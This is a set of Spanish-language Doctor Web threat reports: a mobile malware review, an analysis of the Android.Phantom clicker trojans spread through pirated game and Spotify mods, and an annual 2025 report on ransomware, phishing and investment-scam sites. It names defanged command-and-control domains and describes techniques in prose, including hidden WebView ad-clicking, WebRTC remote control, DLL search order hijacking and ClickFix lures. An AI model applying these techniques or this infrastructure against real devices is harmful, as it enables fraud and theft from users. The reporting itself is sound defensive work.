Program.FakeMoney.11: Detección de aplicaciones que supuestamente permiten ganar dinero realizando una u otra acción o tarea. Estos programas simulan el abono de recompensas, y para retirar el dinero «ganado» es necesario acumular una determinada cantidad. Normalmente incluyen una lista de sistemas de pago y bancos populares a través de los cuales supuestamente es posible retirar las recompensas. Pero incluso cuando los usuarios consiguen acumular una cantidad suficiente para la retirada, los pagos prometidos no llegan. Esta detección también identifica otro software no deseado basado en el código de esos programas.
Program.CloudInject.5
Program.CloudInject.1: Detección de aplicaciones Android modificadas con ayuda del servicio en la nube CloudInject y de la utilidad Android del mismo nombre (añadida a la base de virus de Dr.Web como Tool.CloudInject). Estos programas se modifican en un servidor remoto, y el usuario interesado en su modificación (modder) no controla qué es exactamente lo que se integrará en ellos. Además, las aplicaciones reciben un conjunto de permisos peligrosos. Una vez modificados los programas, el modder puede administrarlos a distancia: bloquearlos, mostrar diálogos configurables, rastrear la instalación y desinstalación de otro software, etc.
Program.SnoopPhone.1.origin: Programa de vigilancia de los titulares de dispositivos Android. Permite leer SMS, obtener información sobre llamadas telefónicas, rastrear la ubicación del dispositivo y realizar grabaciones de audio del entorno.

Tool.Obfuscator.TrashCode.1
Tool.Obfuscator.TrashCode.2: Detección de programas Android a los que, con ayuda de herramientas de hacking para el modding de aplicaciones, se ha añadido código basura. Esta modificación se realiza con el fin de confundir la lógica de los programas. Esta técnica es frecuente en los troyanos bancarios y en las versiones pirata de software.
Tool.NPMod.3
Tool.NPMod.1: Detección de aplicaciones Android modificadas con ayuda de la utilidad NP Manager. Esta utilidad contiene módulos para la ofuscación y protección del código de los programas, así como para eludir la verificación de su firma digital tras la modificación. La ofuscación que añade se utiliza con frecuencia en el malware para dificultar su detección y análisis.
Tool.LuckyPatcher.2.origin: Utilidad que permite modificar aplicaciones Android instaladas (crear parches para ellas) con el fin de cambiar la lógica de su funcionamiento o eludir determinadas restricciones. Por ejemplo, con su ayuda los usuarios pueden intentar desactivar la comprobación del acceso root en programas bancarios u obtener recursos ilimitados en juegos. Para crear parches, la utilidad descarga de internet unos scripts especialmente preparados, que cualquiera puede crear y añadir a la base general. La funcionalidad de dichos scripts puede resultar incluso maliciosa, por lo que los parches creados pueden ser de peligro potencial.

Adware.Bastion.1.origin: Detección de programas optimizadores que de forma periódica crean notificaciones con mensajes engañosos sobre una supuesta falta de memoria y errores del sistema con el fin de mostrar publicidad durante la «optimización».
Adware.AdPush.3.origin: Módulo publicitario que puede integrarse en programas Android. Muestra notificaciones publicitarias que inducen a error a los usuarios. Por ejemplo, estas notificaciones pueden parecerse a mensajes del sistema operativo. Además, este módulo recopila una serie de datos confidenciales y también puede cargar otras aplicaciones e iniciar su instalación.
Adware.Opensite.15: Aplicaciones que se hacen pasar por herramientas de trucos para obtener recursos en juegos. En realidad, han sido creadas para mostrar publicidad. Estos programas reciben de un servidor remoto una configuración conforme a la cual cargan un sitio objetivo con anuncios: banners, ventanas emergentes, vídeos, etc.
Adware.Fictus.1.origin: Módulo publicitario que los atacantes integran en versiones clones de juegos y programas Android populares. Su integración en los programas se realiza mediante un comprimidor especializado net2share. Las copias de software creadas de este modo se distribuyen a través de varios catálogos de aplicaciones y, una vez instaladas, muestran publicidad no deseada.
Adware.Airpush.7.origin: Módulos de software integrados en aplicaciones Android que muestran diversos tipos de publicidad. En función de la versión y la modificación, puede tratarse de notificaciones publicitarias, ventanas emergentes o banners. Con ayuda de estos módulos, los atacantes suelen distribuir malware, proponiendo instalar uno u otro software. Además, estos módulos transmiten a un servidor remoto la información confidencial de varios tipos.

Amenazas en Google Play

En el I trimestre de 2026, los expertos del laboratorio antivirus de Doctor Web detectaron en el catálogo de Google Play nuevo malware Android.Joker, que suscribe a las víctimas a servicios de pago. Los troyanos se ocultaban en diversas utilidades para optimizar el funcionamiento de los dispositivos Android, y también se distribuían bajo la apariencia de messengers, software multimedia y otro tipo de programas. En total, los usuarios los instalaron al menos 370 000 veces.

Ejemplos de malware Android.Joker detectado en Google Play en el I trimestre del año 2026. Android.Joker.2511 fue incrustado en el messenger Private Chat Message, y Android.Joker.2524 — en el programa de cámara de fotos Magic Camera

Además, nuestros analistas de virus detectaron el malware Android.Subscription.23 y Android.Subscription.24, también destinado a suscribir a los usuarios a servicios de pago. Los troyanos cargan sitios web en los que, mediante la tecnología Wap Click, se activan suscripciones móviles de pago. En estos sitios se solicita a los usuarios el número de teléfono móvil, tras lo cual se intenta activar automáticamente el servicio. Ambas aplicaciones maliciosas fueron descargadas en conjunto desde el catálogo de Google Play más de 1 500 000 veces.

El malware Android.Subscription.23 y Android.Subscription.24 se distribuía bajo la apariencia de las aplicaciones Stream Hive y Prime Link para la gestión de finanzas personales; sin embargo, su única funcionalidad era cargar sitios para suscribir a los propietarios de dispositivos Android a servicios móviles de pago

Para proteger los dispositivos Android frente al malware y las aplicaciones no deseadas, recomendamos a los usuarios instalar los productos antivirus Dr.Web para Android.

Indicadores de compromiso

Los troyanos de la familia Android.Phantom penetran en smartphones junto con juegos y mods piratas de aplicaciones populares. Usan aprendizaje automático y transmisiones de vídeo para la generación fraudulenta de clics

Wed, 21 Jan 2026 04:00:00 GMT

21 de enero de 2025

Los expertos del laboratorio antivirus de Doctor Web detectaron e investigaron una nueva familia de troyanos con funcionalidad de clicker. Tienen una peculiaridad en común: se administran desde el servidor hxxps[:]//dllpgd[.]click, o se cargan y se ejecutan por comando del mismo. El malware de este tipo infecta smartphones con SO Android.

Uno de los canales de propagación de troyanos es un catálogo oficial de aplicaciones para dispositivos Xiaomi GetApps.

Hemos conseguido rastrear varios juegos móviles que contienen malware: Creation Magic World (más de 32 mil descargas), Cute Pet House (>34 mil descargas), Amazing Unicorn Party (>13 mil descargas), Academia de sueños Sakura (>4 mil descargas), Theft Auto Mafia (>61 mil descargas), Open World Gangsters (>11 mil descargas). Todos los juegos infectados se publicaron en nombre de un solo desarrollador, SHENZHEN RUIREN NETWORK CO., LTD.; los troyanos están incrustados en ellos y se ejecutan junto con las aplicaciones.

En las versiones iniciales de los juegos no había malware. El 28/29 de septiembre, el desarrollador publica actualizaciones para los juegos que tienen incrustado el troyano Android.Phantom.2.origin. Funciona en dos modos, que en el código del programa se llaman modo de señalización (signaling) y phantom.

En el modo phantom, el malware utiliza un navegador integrado basado en el widget WebView, oculto para el usuario. En el mismo, por orden del servidor hxxps[:]//playstations[.]click, se carga el sitio objetivo para la generación fraudulenta de clics y el archivo JavaScript «phantom». Este último contiene un script para automatizar acciones sobre los anuncios publicitarios del sitio cargado y el framework de aprendizaje automático TensorFlowJS. El modelo para este framework se descarga desde el servidor hxxps[:]//app-download[.]cn-wlcb[.]ufileos[.]com al directorio de la aplicación. En los scripts para trabajar con algunos tipos de publicidad, Android.Phantom.2.origin coloca el navegador en una pantalla virtual y hace capturas de pantalla. El troyano las analiza mediante el modelo para el framework TensorFlowJS y, después, hace clic en los elementos detectados.

En el modo alternativo signaling, el troyano se conecta a un servidor de terceros mediante WebRTC. Esta tecnología permite a navegadores y aplicaciones establecer una conexión directa para intercambiar datos, audio y vídeo en tiempo real sin instalar software adicional. En el modo signaling, el ya mencionado hxxps[:]//dllpgd[.]click actúa como servidor de señalización, que establece las conexiones entre los nodos WebRTC. Además, este servidor determina el modo de funcionamiento del troyano, phantom o signaling. Las tareas con los sitios objetivo llegan desde hxxps[:]//playstations[.]click. A continuación, Android.Phantom.2.origin, de forma oculta para el usuario, transmite a los atacantes el vídeo de la pantalla virtual con el sitio cargado en el navegador. El troyano permite que el nodo WebRTC conectado controle de forma remota el navegador en la pantalla virtual: hacer clic, desplazarse, introducir o pegar texto en el formulario de entrada.

El 15/16 de octubre, los juegos mencionados recibieron otra actualización. Además de Android.Phantom.2.origin, se incrustó en ellos el módulo Android.Phantom.5. Este actúa como dropper y contiene en su interior el cargador de código remoto Android.Phantom.4.origin. Este programa descarga varios troyanos más, destinados a imitar clics en distintos sitios. Estos módulos son más básicos que el clicker Android.Phantom.2.origin: no usan aprendizaje automático ni transmisiones de vídeo, sino que se guían por scripts de clic escritos en JavaScript.

Para usar la tecnología WebRTC en Android, el troyano necesita conectar una biblioteca especial con Java API, que no forma parte del sistema operativo estándar ni de las aplicaciones descargadas. Por ello, al principio el troyano funcionaba principalmente en modo phantom. Al incrustar Android.Phantom.5 a las aplicaciones, el troyano Android.Phantom.2.origin ya pudo usar el cargador de código remoto Android.Phantom.4.origin para descargar la biblioteca necesaria.

Los malintencionados también usan otros canales de propagación de troyanos Android.Phantom.2.origin y Android.Phantom.5. Por ejemplo, mods del servicio de streaming musical Spotify con las funciones premium desbloqueadas. Se publican en distintos sitios web; aquí pueden consultarse algunos ejemplos:

Sitio web Spotify Plus

Sitio web Spotify Pro

Y en canales de Telegram especiales:

Spotify Pro
(54 400 suscriptores)

Spotify Plus – Official
(15 057 suscriptores)

Los mods de Spotify, publicados en sitios web y en los canales de Telegram indicados en las capturas de pantalla, contienen Android.Phantom.2.origin y la biblioteca para establecer la comunicación mediante el estándar WebRTC en Android.

Además de los mods de Spotify, los atacantes incrustan troyanos en mods de otras aplicaciones populares: YouTube, Deezer, Netflix, etc. Están publicados en sitios especializados en mods:

Sitio web Apkmody

Sitio web Moddroid

El sitio Moddroid tiene una sección «Selección del editor». De las 20 aplicaciones incluidas, solo 4 estaban limpias. Las otras 16 contenían troyanos de la familia Android.Phantom. Las aplicaciones de estos dos sitios se descargan desde un mismo servidor CDN hxxps[:]//cdn[.]topmongo[.]com. Estos sitios tienen sus propios canales de Telegram, donde los usuarios descargan mods infectados con troyanos:

Moddroid.com
(87 653 suscriptores)

Apkmody Chat
(6 297 suscriptores)

Además, para sus fines los delincuentes utilizan servidores de Discord. El más grande de ellos es Spotify X, con unos 24 mil suscriptores.

Los administradores de los servidores de Discord no dudan en ofrecer directamente los mods infectados. Por ejemplo, en la captura de pantalla anterior, el administrador, en nombre del servidor, propone descargar un mod del servicio de streaming musical Deezer en vez de Spotify, ya que este último dejó de funcionar.

A través del enlace se descarga un mod operativo. Su código está protegido por un empaquetador comercial; dentro se oculta el troyano Android.Phantom.1.origin. Se trata de un cargador de código remoto que, por orden del servidor hxxps[:]//dllpgd[.]click, descarga los ya conocidos Android.Phantom.2.origin, Android.Phantom.5 y el troyano espía Android.Phantom.5.origin. Este último envía información del dispositivo a los atacantes, incluido el número de teléfono, la geolocalización y la lista de aplicaciones instaladas.

Esta captura de pantalla del servidor muestra en qué idiomas hablan los usuarios objetivo de la infección. Para acceder a los chats en idiomas distintos del inglés, es necesario reaccionar con la bandera correspondiente. Los más numerosos son los usuarios que hablan español, francés, alemán, polaco e italiano (sin tomar en cuenta el inglés, que es el idioma principal del servidor). Además, los administradores del servidor no han previsto chats para muchos países de Asia.

Los troyanos pueden causar un daño considerable a los propietarios de los dispositivos infectados. Podrían darse, entre otros, los siguientes casos:

Complicidad involuntaria. El smartphone del usuario puede utilizarse como bot en un ataque DDoS, por lo tanto, su titular se convierte en un cómplice involuntario de un ciberdelito.
Actividad ilegal. A través del dispositivo, los atacantes pueden realizar actividad ilegal en línea; por ejemplo, usar el smartphone en esquemas de fraude o enviar mensajes de spam.
Consumo elevado de batería y tráfico. La actividad ajena descarga la batería y consume tráfico de Internet.
Filtración de datos personales. Android.Phantom.5.origin es un spyware y puede transmitir datos sobre el dispositivo y su titular.

Los troyanos de esta familia suponen una amenaza para los titulares de dispositivos móviles Android que no están protegidos con un software antivirus actualizado. Los usuarios rusos tienen dificultades para registrarse en aplicaciones extranjeras o pagar suscripciones. La situación empuja a buscar y utilizar formas alternativas, a menudo semiclandestinas, de obtener los servicios de estas empresas. Esto favorece a los creadores de malware, ya que los usuarios se ven obligados a asumir riesgos y a confiar en opciones dudosas. Un grupo especialmente vulnerable son los niños, que no piensan en las normas de higiene digital y solo quieren jugar, escuchar música o ver videoclips.

Recomendamos no descargar mods en sitios y canales dudosos. Por lo general, comprobar las fuentes de mods o aplicaciones requiere tiempo, experiencia y criterio. Por eso, la mejor forma de garantizar tranquilidad para uno mismo y sus seres queridos es usar Dr.Web Security Space en dispositivos móviles. Protegerá no solo sus smartphones, sino también otros dispositivos inteligentes: consolas de videojuegos, tabletas y smart TV.

Indicadores de compromiso
Más información sobre Android.Phantom.1.origin
Más información sobre Android.Phantom.2.origin
Más información sobre Android.Phantom.3
Más información sobre Android.Phantom.4.origin
Más información sobre Android.Phantom.5
Más información sobre Android.Phantom.5.origin

Doctor Web: informe de la actividad de virus en el año 2025

Thu, 15 Jan 2026 00:00:00 GMT

15 de enero de 2026

En 2025, algunas de las amenazas más activas fueron los troyanos diseñados para visualizar publicidad. Los usuarios también se enfrentaron a varios scripts maliciosos y aplicaciones troyanas que ejecutan otro malware en los sistemas infectados. En el tráfico de correo electrónico se detectaron con mayor frecuencia los programas troyanos descargadores, backdoors, exploits, scripts maliciosos y documentos de phishing.

Entre las amenazas móviles, las más populares fueron los troyanos publicitarios y los programas falsos utilizados en distintos esquemas de fraude. Asimismo, se observó un aumento de la actividad de los troyanos bancarios. Al mismo tiempo, los analistas de virus de Doctor Web descubrieron decenas de nuevos programas maliciosos, no deseados y publicitarios en el catálogo de Google Play.
En comparación con 2024, se redujo el número de solicitudes de los usuarios para el descifrado de archivos. Al mismo tiempo, a lo largo del año nuestros analistas de Internet registraron un aumento del número de sitios web fraudulentos creados para robar las cuentas de los usuarios del messenger Telegram. Además, volvieron a proliferar sitios web no deseados de temática financiera.

En 2025, el laboratorio antivirus de Doctor Web investigó varios ataques dirigidos, uno de los cuales se perpetró contra una empresa rusa de ingeniería mecánica. En el transcurso del ataque, los delincuentes utilizaron una serie de aplicaciones maliciosas con las que intentaban obtener datos confidenciales de los ordenadores infectados. Nuestros expertos detectaron que el grupo de hackers Scaly Wolf estuvo implicado en el ataque. Otro incidente afectó a una institución estatal rusa, que fue atacada por el grupo Cavalry Werewolf. Los analistas de malware de Doctor Web identificaron múltiples herramientas maliciosas utilizadas por los atacantes, y también analizaron las características del grupo y las acciones que le son propias dentro de las redes comprometidas.
A lo largo de 2025, la empresa Doctor Web también informó sobre otros incidentes de seguridad de la información. En enero, nuestro laboratorio antivirus detectó una campaña activa de minería de la criptomoneda Monero, organizada mediante el uso de múltiples tipos de malware. En abril, informamos asimismo sobre un troyano detectado en el firmware de varios modelos de smartphones Android, con cuya ayuda los ciberdelincuentes robaban criptomonedas. Además, ese mismo mes, nuestros expertos detectaron un troyano para Android que los atacantes habían integrado en una de las versiones de una popular aplicación de cartografía y que utilizaban para espiar a militares rusos.

En julio, los expertos de Doctor Web informaron sobre una nueva familia de troyanos creada para robar criptomonedas y contraseñas. Los delincuentes los distribuían haciéndolos pasar por mods, trucos y parches para juegos. En agosto, los analistas de malware advirtieron sobre la propagación de un backdoor multifuncional para dispositivos móviles, dirigido a representantes del sector empresarial ruso. Los ciberdelincuentes lo controlaban de forma remota, robando con su ayuda datos confidenciales y vigilando a las víctimas.
En octubre, informamos sobre un backdoor para dispositivos Android que los ciberdelincuentes propagaban como parte de versiones modificadas del messenger Telegram X. Este malware roba los nombres de usuario y contraseñas de las cuentas de Telegram, así como otros datos confidenciales. Con su ayuda, los creadores de malware pueden administrar las cuentas comprometidas de las víctimas y controlar por completo el propio mensajero, realizando diversas acciones en nombre de los usuarios.
En diciembre, publicamos en nuestro sitio web un material sobre un troyano que “infla” la popularidad de los sitios web y, para ello, se hace pasar por una persona, de modo que sus acciones no sean bloqueadas por los sistemas antibot de las plataformas en línea. El malware busca de forma autónoma los sitios necesarios en los motores de búsqueda, los abre y realiza clics en las páginas web de acuerdo con los parámetros recibidos de los atacantes.
En 2025 también se observó un aumento de la popularidad de los ataques ClickFix, en los que los delincuentes utilizan técnicas de ingeniería social para que los propios usuarios ejecuten código malicioso en sus dispositivos.

Tendencias clave del año

Se detectó una alta actividad de troyanos bancarios
Se realizaron nuevos ataques objetivo
Se observó un crecimiento de popularidad de ataques con el método ClickFix
Bajó el número de incidentes con troyanos cifradores
Aumentó el número de detecciones de troyanos bancarios para Android
Se detectaron nuevos casos de infección de firmware de dispositivos en Android
En el catálogo Google Play otra vez se propagó varios tipos de malware y software no deseado

Los eventos más destacados del año 2025

En enero de 2025, los especialistas de Doctor Web detectaron una campaña de minería de la criptomoneda Monero que utilizaba el miner malicioso SilentCryptoMiner. Sus archivos estaban camuflados como distintos tipos de software, por ejemplo, programas para realizar videollamadas. Al infectar los ordenadores, eliminaban otros mineros que pudieran haberse instalado previamente en el sistema. En el marco de esta campaña, los atacantes emplearon esteganografía para distribuir algunos componentes maliciosos, una técnica que permite ocultar unos datos entre otros (por ejemplo, en imágenes). Tras descargar imágenes creadas de forma especial, los componentes correspondientes de SilentCryptoMiner se extraían de ellas y se ejecutaban.

En abril, nuestros analistas de malware informaron sobre el troyano Android.Clipper.31, detectado en el firmware de varios modelos económicos de smartphones Android. Los atacantes lo integraron en una versión modificada del mensajero WhatsApp, que posteriormente preinstalaron en los dispositivos, comprometiendo la cadena de suministro de algunos fabricantes. Android.Clipper.31 intercepta los mensajes enviados y recibidos en el messenger, busca en ellos direcciones de monederos de criptomonedas Tron y Ethereum y las sustituye por direcciones pertenecientes a los ciberdelincuentes. Al mismo tiempo, el troyano oculta la sustitución, de modo que las víctimas ven en los mensajes direcciones de monederos aparentemente correctas.

Ese mismo mes, los expertos de Doctor Web descubrieron el troyano para Android Android.Spy.1292.origin, que los atacantes habían introducido en una de las versiones de la aplicación cartográfica Alpine Quest y que utilizaban para espiar a militares rusos. La aplicación maliciosa recopilaba información confidencial y permitía a los atacantes robar archivos de los dispositivos infectados.

En julio, en el sitio web de la empresa Doctor Web se publicó un material sobre los programas troyanos Trojan.Scavenger, diseñados para robar criptomonedas y contraseñas. Los delincuentes los distribuían haciéndolos pasar por mods, trucos y parches para juegos. Este malware se ejecutaba utilizando software legítimo, entre otros métodos mediante la explotación de vulnerabilidades de la clase DLL Search Order Hijacking.

En agosto, nuestros expertos informaron sobre la propagación del backdoor multifuncional Android.Backdoor.916.origin, dirigido contra representantes de empresas rusas. La aplicación maliciosa se distribuía bajo la apariencia de un antivirus a través de mensajes privados en mensajeros. Al llegar a los dispositivos objetivo, Android.Backdoor.916.origin recopilaba datos confidenciales y permitía a los atacantes vigilar a las víctimas.
Además, en agosto el laboratorio antivirus de Doctor Web publicó una investigación sobre un ataque dirigido del grupo Scaly Wolf contra una empresa rusa de ingeniería mecánica. Los ciberdelincuentes emplearon todo un conjunto de herramientas maliciosas, entre las cuales uno de los elementos principales fue el backdoor modular Updatar, que permitía a los atacantes recopilar información confidencial de los equipos infectados.

En octubre, los expertos de Doctor Web informaron sobre el backdoor Android.Backdoor.Baohuo.1.origin, integrado por los atacantes en versiones modificadas del messenger Telegram X. Android.Backdoor.Baohuo.1.origin roba los nombres de usuario y contraseñas de las cuentas de Telegram, así como otros datos confidenciales. Este malware permite a los delincuentes obtener el control total de la cuenta del usuario y administrar el messenger al realizar acciones en nombre de la víctima. Por ejemplo, los atacantes pueden unirse a canales de Telegram de forma no autorizada y abandonarlos, así como ocultar nuevos dispositivos autorizados en la interfaz de la versión troyana de Telegram X.

En noviembre, publicamos una investigación sobre un ataque dirigido del grupo de hackers Cavalry Werewolf contra una institución estatal rusa. Al analizar el incidente, los expertos de «Doctor Web» detectaron múltiples herramientas maliciosas utilizadas por los ciberdelincuentes, incluidas las herramientas de código abierto. Los analistas de malware analizaron las características del grupo y determinaron que sus miembros prefieren utilizar backdoors con funcionalidad de shell inverso y recurren con frecuencia a la API de Telegram para administrar los equipos infectados. Además, inician los ataques al enviar correos electrónicos de phishing supuestamente en nombre de organismos estatales y adjuntan malware, camuflado como varios documentos oficiales, a estos mensajes.

En diciembre, la empresa Doctor Web publicó un análisis del malware Trojan.ChimeraWire, que infla la popularidad de sitios web haciéndose pasar por una persona. El troyano busca los sitios necesarios en los motores de búsqueda Google y Bing, los abre y realiza clics en las páginas web cargadas de acuerdo con las tareas recibidas de los delincuentes. Trojan.ChimeraWire se instala en los ordenadores mediante una serie de programas maliciosos que explotan vulnerabilidades de la clase DLL Search Order Hijacking.

A lo largo de 2025 se observó un aumento de la popularidad de los ataques que utilizan el método ClickFix. Este consiste en que los atacantes recurren a la ingeniería social para inducir a las posibles víctimas, mediante engaños, a ejecutar por sí mismas código malicioso. Cuando los usuarios acceden a un sitio web malicioso o comprometido, este les informa de un supuesto error o de la necesidad de actualizar el navegador y les propone “solucionar” el problema. Para ello, según la variante del ataque, se pide a los usuarios que copien las líneas indicadas en la página o que simplemente pulsen el botón correspondiente (por ejemplo, «Actualizar» o «Corregir»). En este último caso, el contenido necesario se copia automáticamente en el portapapeles. A continuación, se les solicita que abran la línea de comandos o el terminal PowerShell, peguen allí el contenido del portapapeles y pulsen la tecla Enter. Como resultado, las víctimas ejecutan por sí mismas el código malicioso, que inicia la cadena de infección del ordenador. Para más información sobre los ataques ClickFix, puede consultar el material correspondiente en nuestro sitio web.

Los eventos de virus

Según las estadísticas de detección del antivirus Dr.Web, en 2025 el número total de amenazas detectadas aumentó un 5,45 % en comparación con 2024. Al mismo tiempo, el número de amenazas únicas se redujo un 15,89 %. Con mayor frecuencia, los usuarios afrontaron varios scripts maliciosos y troyanos publicitarios. Además, se propagaron los troyanos utilizados para ejecutar otro malware. Asimismo, los usuarios volvieron a verse amenazados por aplicaciones troyanas creadas en el lenguaje de scripting AutoIt, que se distribuyen como parte de otro malware con el fin de dificultar su detección.

VBS.KeySender.6
VBS.KeySender.7: Un script malicioso que en un ciclo infinito busca las ventanas con el texto mode extensions, разработчика y розробника y les envía un evento de pulsación del botón Escape, al cerrarlas de forma forzosa.
Trojan.BPlug.4242: Detección de un componente malicioso de la extensión del navegador WinSafe. Este componente es un script de JavaScript que visualiza publicidad importuna en navegadores.
Trojan.Starter.8319
Trojan.Starter.8326
Trojan.Starter.8332: Detección de scripts XML maliciosos que inician el troyano Trojan.AutoIt.289 y sus componentes.
JS.Siggen5.44590: Un código malicioso añadido a la biblioteca JavaScript pública, es5-ext-main. Visualiza un mensaje determinado si el paquete está instalado en el servidor con el huso horario de ciudades rusas.
Trojan.Siggen30.53926: Un proceso host del framework Electron modificado por los malintencionados, camuflado como componentes de la aplicación Steam (Steam Client WebHelper) que carga un backdoor en JavaScript.
JS.MalVpn.1: Un script malicioso usado por varios tipos de malware para conectarse a los servidores de control.
Trojan.Siggen31.34463: Un troyano creado en lenguaje de programación Go y destinado para cargar en el sistema objetivo varios miners y adware. El malware es un archivo DLL y está en %appdata%\utorrent\lib.dll. Para su inicio, usa la vulnerabilidad de la clase DLL Search Order Hijacking en el cliente torrent uTorrent.

En el tráfico de correo en el año 2025 con mayor frecuencia se detectaban los programas troyanos que descargaban e instalaban otro malware. Los malintencionados también propagaron a través de los mensajes electrónicos varios backdoors, exploits, documentos phishing y scripts maliciosos.

W97M.DownLoader.2938: Una familia de troyanos descargadores que usan las vulnerabilidades de los documentos Microsoft Office. Sirven para descargar otro malware al equipo atacado.
Exploit.CVE-2017-11882.123
Exploit.CVE-2018-0798.4: Exploits para usar vulnerabilidades en el software Microsoft Office, que permiten ejecutar un código aleatorio.
JS.Phishing.684
JS.Phishing.745: Un script malicioso en lenguaje JavaScript que genera una página web de phishing.
BackDoor.AgentTeslaNET.20: Un malware espía destinado a robar información confidencial. Por ejemplo, recopila y transmite a los atacantes nombres de usuario y contraseñas de numerosas aplicaciones, como navegadores, mensajeros, clientes de correo, bases de datos, etc. También roba datos del portapapeles, incorpora funcionalidad de keylogger y puede realizar capturas de pantalla (screenshots).
Win32.Expiro.153: Un virus de archivos que infecta archivos ejecutables de Windows. Su objetivo principal es robar contraseñas de varios programas.
JS.DownLoader.1225: Detección heurística para los archivos ZIP que contienen los scripts de JavaScript con nombres sospechosos.
Trojan.PackedNET.3223: Detección de malware protegido por un comprimidor.
Trojan.AutoIt.1413: Detección de la versión comprimida del programa troyano Trojan.AutoIt.289, creado en lenguaje de script AutoIt. Se propaga en un grupo de varios tipos de malware: un miner, un backdoor y un módulo para la propagación automática. Trojan.AutoIt.289 realiza varias acciones maliciosas que dificultan la detección de la carga útil básica.

Cifradores

En comparación con 2024, en 2025 el Servicio de soporte técnico de Doctor Web recibió un 35,98 % menos de solicitudes de usuarios que habían resultado afectados por troyanos cifradores. La dinámica del registro de solicitudes de descifrado de archivos se muestra en el gráfico siguiente.

Los cifradores más populares en el año 2025:

Trojan.Encoder.35534 (23,22% de solicitudes de usuarios): Un cifrador también conocido como Mimic. Para buscar los archivos objetivo para el cifrado el troyano usa la biblioteca everything.dll del programa legal Everything destinada a la búsqueda instantánea de archivos en ordenadores con Windows.
Trojan.Encoder.35209 (3,33% de solicitudes de usuarios): Cifrador basado en el código fuente del troyano encoder Conti. Cifra los archivos con el algoritmo ChaCha20. Tras la desmantelación de varios servidores de mando y control de los delincuentes y la revelación de claves privadas RSA de cifrado, para algunas modificaciones de este malware está disponible el descifrado de los archivos afectados.
Trojan.Encoder.35067 (2,50% de solicitudes de usuarios): Cifrador conocido como Masor (una variante de este troyano es Trojan.Encoder.30572). Tiene un tamaño reducido, de unos 30–40 KB. Esto se debe en parte a que el troyano no incluye bibliotecas criptográficas de terceros y utiliza solo funciones de CryptoAPI para el cifrado y la generación de claves. Para cifrar los archivos emplea el algoritmo AES-256, y las propias claves se cifran con RSA-1024.
Trojan.Encoder.41868 (2,31% de solicitudes de usuarios): Cifrador cuyos artefactos indican la implicación del grupo de hackers C77L en su creación.
Trojan.Encoder.29750 (2,13% de solicitudes de usuarios): Un troyano extorsionista que tiene varias versiones. Sus modificaciones actuales cifran los archivos con un algoritmo AES-256+RSA.

Fraudulencias en la red

En 2025, los analistas de Internet de la empresa Doctor Web observaron un aumento del número de sitios de phishing creados para robar cuentas del messenger Telegram. Los delincuentes utilizaron varios esquemas, como páginas falsas de autenticación y autorización, así como mensajes fraudulentos supuestamente enviados por el servicio de soporte de Telegram, en los que se advertía de presuntas infracciones en el uso del messenger y de la necesidad de realizar una «verificación» de la cuenta, entre otros.

Un ejemplo de un sitio web phishing que informa de la necesidad de hacer una verificación de la cuenta de Telegram a causa de alguna infracción de los requisitos del uso del servicio

Los sitios web de este tipo también se crearon para usuarios de otros servicios, por ejemplo, plataformas de videojuegos, tiendas en línea, etc. Las falsificaciones podían parecer recursos web legítimos y ofrecían iniciar sesión en la cuenta. Si los usuarios caían en la trampa, los delincuentes averiguaban la información confidencial.

Un sitio web falso del servicio Steam visualiza un formulario phishing para introducir el nombre de usuario y la contraseña

Los usuarios volvieron a afrontar varias variantes de recursos fraudulentos en Internet que ofrecían todo tipo de regalos y bonificaciones, así como la participación en supuestas «promociones ventajosas». Se propagaron los sitios web falsos de marketplaces rusos, en los que los visitantes supuestamente podían participar en sorteos de premios. El «premio» estaba programado de antemano y, para poder «recibirlo», se exigía a la víctima realizar determinados pagos, por ejemplo, en concepto de un supuesto impuesto y, posteriormente, por el envío del producto y su seguro.
En otras variantes del esquema fraudulento, el producto deseado supuestamente no estaba disponible y se ofrecía en su lugar una compensación económica. Para «recibir» el dinero, el usuario también debía efectuar una serie de pagos, como una tasa, un seguro, etc. En ningún caso la víctima llegaba a recibir premio alguno.

Un ejemplo de un sitio web falso del marketplace que propone participar en un «sorteo de premios»

Otras variantes de este tipo de esquemas incluían sitios web falsos de empresas de transporte dirigidos a residentes del Reino Unido. En ellos se ofrecía participar en sorteos de tarjetas de transporte, supuestamente vinculadas a un determinado evento y que permitían utilizar gratuitamente el transporte público. Al «ganar el premio», los estafadores pedían a las víctimas que facilitaran sus datos personales y pagaran una pequeña «comisión».

Un sitio web fraudulento, supuestamente en nombre de una empresa de transporte, ofrece participar en un «sorteo de tarjetas»

Siguieron siendo relevantes todo tipo de sitios web fraudulentos de temática financiera. Entre los delincuentes volvieron a ser populares los recursos que ofrecían ganar dinero con operaciones en los mercados utilizando sistemas automatizados basados en supuestos algoritmos únicos y tecnologías de inteligencia artificial. Este tipo de sitios se crea con orientación a residentes de numerosos países. En la mayoría de los casos, solicitan datos personales para registrar una «solicitud» o una «cuenta», tras lo cual los estafadores averiguan esta información y la utilizan a su conveniencia. Posteriormente, pueden revender estos datos o continuar atrayendo a la posible víctima a un falso servicio de inversión, exigiendo el ingreso de dinero en una supuesta cuenta de «operaciones».

Uno de los sitios web fraudulentos que ofrecían acceso a una supuesta «plataforma de inversión» basada en tecnologías de inteligencia artificial afirmaba, de manera engañosa, estar vinculado a la corporación Apple

Muchos de estos sitios están construidos a partir de plantillas similares en forma de un chat falso con un «asistente virtual» o un «empleado» de una u otra empresa, supuestamente en cuyo nombre los estafadores se dirigen a la posible víctima. Se invita al usuario a responder a una serie de preguntas y, a continuación, a facilitar sus datos personales.

En uno de los sitios, los delincuentes ofrecían a usuarios de Francia acceder a un supuesto software de trading automatizado inexistente, TraderAI, que supuestamente permitía ganar a partir de 3 500€

Uno de los recursos promocionaba un servicio de inversión supuestamente basado directamente en el messenger Telegram. El sitio prometía ingresos de 10.000 € al mes mediante la compraventa automática de acciones de empresas internacionales «directamente desde el navegador del teléfono».

El sitio web fraudulento invita a unirse a una supuesta «plataforma Telegram», que supuestamente opera de forma autónoma en el mercado de acciones

Los delincuentes también ofrecían a las posibles víctimas ganar dinero mediante «bots de trading», supuestamente creados con la participación de grandes empresas y servicios como Telegram, WhatsApp, TikTok y otros.

Un ejemplo de un sitio web que proponía usar un bot de trading no existente que supuestamente tenía que ver con el messenger WhatsApp

A lo largo de 2025, nuestros analistas de Internet detectaron nuevos sitios web fraudulentos que ofrecían invertir en el sector del petróleo y el gas a usuarios de varios países, incluidos Rusia, los países de la CEI y Europa. En este tipo de sitios, en la mayoría de los casos, también se solicita a las posibles víctimas la información personal, como el nombre y los apellidos, el número de teléfono móvil, la dirección de correo electrónico, etc.

